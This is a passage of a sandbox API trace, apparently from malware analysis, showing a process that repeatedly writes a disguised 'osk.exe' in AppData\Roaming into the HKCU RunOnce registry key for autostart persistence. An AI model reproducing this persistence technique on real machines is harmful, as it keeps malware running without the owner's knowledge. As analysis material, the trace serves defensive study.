riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.353] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x20 [0256.353] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f8a0) returned 0x0 [0256.354] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1f [0256.359] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.359] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.359] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.359] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.359] RegCloseKey (hKey=0x14c) returned 0x0 [0256.360] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.360] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.367] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.367] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.367] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.367] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.367] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f870 | out: ppvObject=0x624f870*=0x0) returned 0x80004002 [0256.367] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x21 [0256.368] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.368] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x22 [0256.368] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0720) returned 0x0 [0256.368] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x21 [0256.368] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.368] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.368] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.368] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.368] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f850 | out: ppvObject=0x624f850*=0x0) returned 0x80004002 [0256.368] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x22 [0256.368] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x21 [0256.369] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.369] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x21 [0256.369] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f820) returned 0x0 [0256.370] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x20 [0256.370] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.370] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.370] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.370] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.370] RegCloseKey (hKey=0x14c) returned 0x0 [0256.371] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.371] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.384] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.384] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.384] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.384] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.384] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240170 | out: ppvObject=0x6240170*=0x0) returned 0x80004002 [0256.384] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x22 [0256.385] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.385] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x23 [0256.385] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e06c0) returned 0x0 [0256.385] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x22 [0256.385] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.385] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.385] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.385] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.385] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240190 | out: ppvObject=0x6240190*=0x0) returned 0x80004002 [0256.385] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x23 [0256.385] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x22 [0256.385] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.386] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x22 [0256.386] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x62401a0) returned 0x0 [0256.386] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x21 [0256.386] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.387] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.387] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.387] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.387] RegCloseKey (hKey=0x14c) returned 0x0 [0256.387] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.388] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.414] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.414] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.414] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.414] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.414] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62401f0 | out: ppvObject=0x62401f0*=0x0) returned 0x80004002 [0256.414] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x23 [0256.415] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.415] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x24 [0256.415] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0660) returned 0x0 [0256.415] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x23 [0256.415] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.415] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.415] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.415] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.415] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240210 | out: ppvObject=0x6240210*=0x0) returned 0x80004002 [0256.415] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x24 [0256.416] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x23 [0256.416] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, 